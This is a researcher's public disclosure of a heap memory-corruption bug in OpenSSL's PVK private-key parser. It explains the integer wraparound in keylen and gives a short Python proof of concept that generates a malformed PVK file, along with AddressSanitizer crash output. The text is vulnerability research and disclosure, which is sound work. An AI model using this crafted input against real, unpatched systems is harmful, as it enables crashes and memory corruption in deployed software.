The reason of this public disclosure
I’m all for responsible disclosure, and this is the route I almost always follow whenever I find a vulnerability in some application. I reported this one on February 24th, and on February 26th, in response to a different inquiry of mine, I was told that any reports submitted from there on had to wait until the next release. This one apparently didn’t make the cut. I respect the fact that the OpenSSL team has to conform to deadlines and schedules.
However, I’ve decided to publicly disclose this one because I think it’s not necessarily more secure to have vulnerable code running on servers for a month of more while attackers, if any (for this vulnerability), are not bound to release cycles and have the advantage of time.
Analysis of the vulnerability
In do_PVK_body, this allocation occurs:
695 enctmp = OPENSSL_malloc(keylen + 8);
a while later this memcpy occurs:
705 memcpy(enctmp, p, 8);
The memcpy presumes that enctmp is at least 8 bytes large. However, if
keylen is (2**32)-8 == 0xFFFFFFF9 at the time of the allocation, then
0xFFFFFFF9 + 8 == 1 byte is effectively allocated.
‘keylen’ is set by b2i_PVK_bio() (the function that calls do_PVK_body)
via do_PVK_header:
(in b2i_PVK_bio)
761 if (!do_PVK_header(&p, 24, 0, &saltlen, &keylen)) 762 return 0;
do_PVK_header:
616 static int do_PVK_header(const unsigned char **in, unsigned int length, 617 int skip_magic, 618 unsigned int *psaltlen, unsigned int *pkeylen) 619 { ... ... ... 644 *psaltlen = read_ledword(&p); 645 *pkeylen = read_ledword(&p); ... ... ... 654 }
As you can see, keylen is retrieved from the input file directly.
After do_PVK_header has been called by b2i_PVK_bio, and thus saltlen,
keylen have been set, this allocation occurs:
763 buflen = (int)keylen + saltlen; 764 buf = OPENSSL_malloc(buflen);
OPENSSL_malloc will only succeed if buflen > 0. In order to pass this
allocation, the attacker may set the following values for keylen and
saltlen in the file that is being processed:
saltlen: 0x0000000A
keylen: 0xFFFFFFF9
which results in an allocation of 3 bytes here.
This implies that the post-header data of the file is at least 3 bytes:
770 if (BIO_read(in, buf, buflen) != buflen) { 771 PEMerr(PEM_F_B2I_PVK_BIO, PEM_R_PVK_DATA_TOO_SHORT); 772 goto err; 773 }
Back to do_PVK_body:
695 enctmp = OPENSSL_malloc(keylen + 8); 696 if (!enctmp) { 697 PEMerr(PEM_F_DO_PVK_BODY, ERR_R_MALLOC_FAILURE); 698 goto err; 699 } 700 if (!derive_pvk_key(keybuf, p, saltlen, 701 (unsigned char *)psbuf, inlen)) 702 goto err; 703 p += saltlen; 704 /* Copy BLOBHEADER across, decrypt rest */ 705 memcpy(enctmp, p, 8); 706 p += 8; 707 if (keylen < 8) { 708 PEMerr(PEM_F_DO_PVK_BODY, PEM_R_PVK_TOO_SHORT); 709 goto err; 710 }
derive_pvk_key will attempt to read 10 bytes from ‘p’. Since the payload
is only 3 bytes, this is an overread of 7 bytes. Hardened/ASAN
builds will crash, but other than that this typically shouldn’t
give any problems.
Then memcpy will corrupt the memory around ‘enctmp’ because it consists
of only 1 byte while trying to write 8 bytes.
Here is a PoC:
#!/usr/bin/env python import sys MS_PVKMAGIC = '\x1e\xf1\xb5\xb0' reserved = '\x00' * 4 is_encrypted = '\x01\x00\x00\x00' saltlen = '\x0A\x00\x00\x00' keylen = '\xF9\xFF\xFF\xFF' header = "".join([MS_PVKMAGIC, reserved, reserved, is_encrypted, saltlen, keylen]) payload = '\x00' * 3 sys.stdout.write(header) sys.stdout.write(payload)
Compile OpenSSL with -fsanitize=address and then:
$ python pvkgenkey.py | apps/openssl pkey -inform pv -passin pass:1234 WARNING: can't open config file: /usr/local/ssl/openssl.cnf ================================================================= ==11842== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60040000de59 at pc 0x542666 bp 0x7ffc63024ff0 sp 0x7ffc63024fe8 READ of size 1 at 0x60040000de59 thread T0 ... ... ...
This is the overread within derive_pvk_key. If you comment out that call for the sake of demonstration, ASAN will crash on the subsequent memcpy.
Note
I found CVE-2016-0799 (BIO_printf), CVE-2016-0797 (BN_hex2bn/BN_dec2bn) and this one all within about a week of reading the code while taking an opportunistic approach towards finding vulnerabilities (rather than doing a full audit in any meaningful sense of that word). Based on this, I’d wager that a good number of vulnerabilities may still be present.